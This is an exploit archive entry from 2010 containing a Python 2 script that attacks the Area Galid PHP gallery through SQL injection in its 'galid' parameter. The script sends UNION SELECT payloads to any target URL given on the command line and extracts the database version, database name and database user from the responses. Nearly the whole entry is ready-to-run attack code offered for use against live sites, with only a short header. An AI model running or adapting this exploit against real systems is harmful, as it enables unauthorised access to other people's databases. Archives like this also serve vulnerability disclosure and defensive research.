Area Galid (galid) SQL Injection Exploit (.py)

2010-08-01T00:00:00
ID 1337DAY-ID-13539
Type zdt
Reporter LifeSteaLeR
Modified 2010-08-01T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ==============================================
Area Galid (galid) SQL Injection Exploit (.py)
==============================================

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Area Galid (galid) SQL Injection Exploit (.py)
# Author LifeSteaLeR
# Found By LifeSteaLeR
# Exploit Coded By ZoRLu
# Tested on my vista proof:  http://img138.imageshack.us/img138/1964/areay.jpg
# Found Date: 21/07/2010
# Exploited Date: 01/08/2010
# Orjinal Link: http://lifestealer.com/area-galid-sql-injection-vulnerability.html
# Home: z0rlu.blogspot.com
# Home: imhatimi.org
# Thanks: inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N and all Friends

import sys, urllib2, re, os, time
 
if len(sys.argv) < 2:
    os.system('cls')
    os.system('clear')
    os.system('color 2')
    print "_______________________________________________________________"
    print "                                                               "
    print "            Area Galid SQL Inj Exploit (.py)        "
    print "                                                               "
    print "            Found By LifeSteaLeR                                                  "
    print "                                                               "
    print "            Exploit Coded By ZoRLu                                     "
    print "                                                               "
    print "            Usage:                                             "
    print "                                                               "
    print "            python exploit.py http://site.com/path/            "
    print "                                                               "
    print "_______________________________________________________________"
    sys.exit(1)
 
sitemiz = sys.argv[1]
if sitemiz[-1:] != "/":
    sitemiz += "/"

url = sitemiz + "index.php?nav=1&p=gallery&action=showimages&galid=000000+union+select+1,concat(0x3a3a3a,version()),3,4,5--"
url2 = sitemiz + "index.php?nav=1&p=gallery&action=showimages&galid=000000+union+select+1,concat(0x3d3d3d,database()),3,4,5--"
url3 = sitemiz + "index.php?nav=1&p=gallery&action=showimages&galid=000000+union+select+1,concat(0x3e3e3e,user()),3,4,5--"
 
print "\nExploiting...\n"
print "wait three sec.!\n"
time.sleep(3)

try:
    veri = urllib2.urlopen(url).read()
    aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*)", veri)
    if len(aliver) > 0:
        print "version():   " + aliver[0][0]
        
    else:
        print "Exploit failed..."
        

except urllib2.HTTPError:
    print "Forbidden Sorry! Server has a Security!"

try:
    veri = urllib2.urlopen(url2).read()
    aliver = re.findall(r"===(.*)([0-9a-fA-F])(.*)", veri)
    if len(aliver) > 0:
        print "database():  " + aliver[0][0]
        
    else:
        print "Exploit failed..."
        

except urllib2.HTTPError:
    print "Forbidden Sorry! Server has a Security!"


try:
    veri = urllib2.urlopen(url3).read()
    aliver = re.findall(r">>>(.*)([0-9a-fA-F])(.*)", veri)
    if len(aliver) > 0:
        print "user():      " + aliver[0][0]
                        
        print "\nGood Job Bro!"
    else:
        print "Exploit failed..."
        

except urllib2.HTTPError:
    print "Forbidden Sorry! Server has a Security!"



#  0day.today [2018-04-12]  #